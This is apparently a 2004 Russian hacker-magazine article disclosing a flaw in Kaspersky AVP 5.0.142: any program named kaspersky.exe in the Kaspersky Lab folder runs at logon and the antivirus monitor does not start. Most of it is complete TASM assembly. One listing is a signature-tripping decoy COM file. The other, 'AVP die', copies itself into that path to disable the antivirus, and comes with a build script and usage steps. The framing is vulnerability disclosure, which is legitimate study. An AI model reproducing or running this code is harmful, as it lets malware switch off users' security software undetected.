Акела промахнулся, Акела промахнулся!
Р.Киплинг "Маугли"

 

Мной буквально на днях, была обнаружена интересная особенность реализации всеми
любимого антивирусного продукта. Она заключается в том, что если при
установленном анивирусном мониторе (я всё это тестировал на AVP v. 5.0.142)
создать файл в директории Program Files\Kaspersky Lab с именем
kaspersky.exe, то после перезагрузки или выхода и входа в систему будет запущен наш файл.
А антивирусный монитор запущен не будет.

Не правда ли интересная особенность? Теперь немного о том как, это может быть
использовано. Вот есть к примеру у нас вирус, нет не то, в тюрьму не хочется ...
Вот есть к примеру у нас следующий false alarm или по русски - ложная тревога.
По сути это обыкновенный ничем не примечательный файл, вот только на него
ругается антивирус.

К примеру вот такой:

;-8<-[false.asm]---;
;
На этот *.com файл ругается АВП ;
;
Это false alarm, т.к. кроме вывода строки он ничего не делает
;
;
---;
seg000 segment byte public 'CODE'
assume cs:seg000
org 100h
assume es:nothing, ss:nothing, ds:seg000

public start
start:
push ax
dec bx
pop ax
;
---;
db 0 ;
db 0 ;
db 0 ;
db 5Eh ; ^

db 500 dup(0)

db 80h ; А
db 0 ;
db 0 ;
db 80h ; А
db 80h ; А
db 0 ;
db 0 ;
db 0 ;
db 80h ; А
db 0 ;
db 80h ; А
db 0 ;
db 0 ;
db 80h ; А
db 80h ; А
db 80h ; А
db 80h ; А
db 0 ;
db 80h ; А
db 80h ; А
db 0 ;
db 0A8h ; и
db 0 ;
;
---;
mov ah, 9
mov dx, offset vx_work ; "virii is work..."
int 21h ; Выводим строку
retn
;
---;
vx_work db 'virii is work, thx to AVP die v 0.01 by slon!$',0

seg000 ends
end start
;
-8<-[false.asm]---;

Это обыкновенный *.com файл, но если попытаться запустить его, то антивирусный
монитор заругается и не даст его запустить. С одной стороны монитор прав
- по контрольным суммам смахивает на вирус, но ведь не вирус ...

А если обыкновенная программа по контрольным суммам смахивает на вирус, тогда
нужно письмо писать в антивирусную контору и очень может быть, что не в одну.

А вот если запустить следующую программу... (ниже представлен её листинг):

;-8<-[avp_die.asm]---;
; ;
;
AVP die v 0.01 demo [ "Смерть кашпировскому Ж)" ] (x) slon 2004 ;
;
Что делает эта программа: ;
; ;
;
1) Она автоматически загружается (вместо AVP, проверено на AVP 5.0.142)
;
;
2) Не даёт загрузиться AVP 🙂 ;
; ;
;
Использование: ;
; ;
;
1) Запустить программу ;
;
2) logoff/reboot/poweroff по выбору Ж) ;
; ;
;
-8<-[make.bat]---;
;
@echo off ;
;
cls ;
;
tasm32 /mx /m4 /z avpdie.asm ;
;
tlink32 -x -V4.0 -Tpe -aa -c avpdie.obj,,,imp32i.lib ;
;
del *.obj ;
;
-8<-[make.bat]---;
;
Собирать файл при помощи make.bat и конечно же TASM 5.0 ;
.586
.model flat, stdcall
locals @@
;
---;
callx macro x ;
extrn x:proc ;
Макрос для упрощения
call x ;
использования WIN API
endm ;
.data
;
---;
start:
push 0 ;
Получаем 
callx GetModuleHandleA ;
базу модуля

push 500 ;
push offset cmd_ ;
push eax ;
Узнаём имя файла из
callx GetModuleFileNameA ;
которого мы запущены

push 500 ;
push offset win_dir ;
Получаем имя директории
callx GetWindowsDirectoryA ;
Windows

push offset prog_ ;
lea eax,win_dir ;
push eax ;
add eax,3 ;
mov 4 ptr [eax],0 ;
Готовим путь для копирования
callx lstrcatA ;
в "Program
Files"

push 1 ;
push offset win_dir ;
push offset cmd_ ;
Копируем себя 
callx CopyFileA ;
в "Program
Files"

push 0 ;
push 0 ;
push offset msg__ ;
push 0 ;
callx MessageBoxA ;
Выводим красивое сообщение

push 0 ;
callx ExitProcess ;
И завершаем нашу работу

;---;
msg__ db 'Прощайте дядя кашпировский, AVP теперь убит!',0ah,0dh
db 'AVP die v 0.01 (x) slon 2004',0

win_dir db 500 dup(0)
sys_dir db 500 dup(0)

cmd_ db 500 dup(0)
prog_ db 'Program Files\Kaspersky Lab\kaspersky.EXE',0
;
---;
.code
nop ;
Для красоты
end start
;
-8<-[avp_die.asm]---;

После её работы наша ложная тревога без всяких проблем запуститься. Что
говорит об ошибках в реализации данного антивирусного продукта. Я смею скромно
надеяться, что данная ошибка будет в скором времени поправлена. Не очень бы
хотелось встретить её в скором времени в каком-нибудь интернет червяке.

Check Also

Туннель во времени. Выводим данные с компьютера через Network Time Protocol

Содержание статьиЧто такое NTPСтруктура пакета NTPОграничения на трафик по порту UDP-123Ко…

Оставить мнение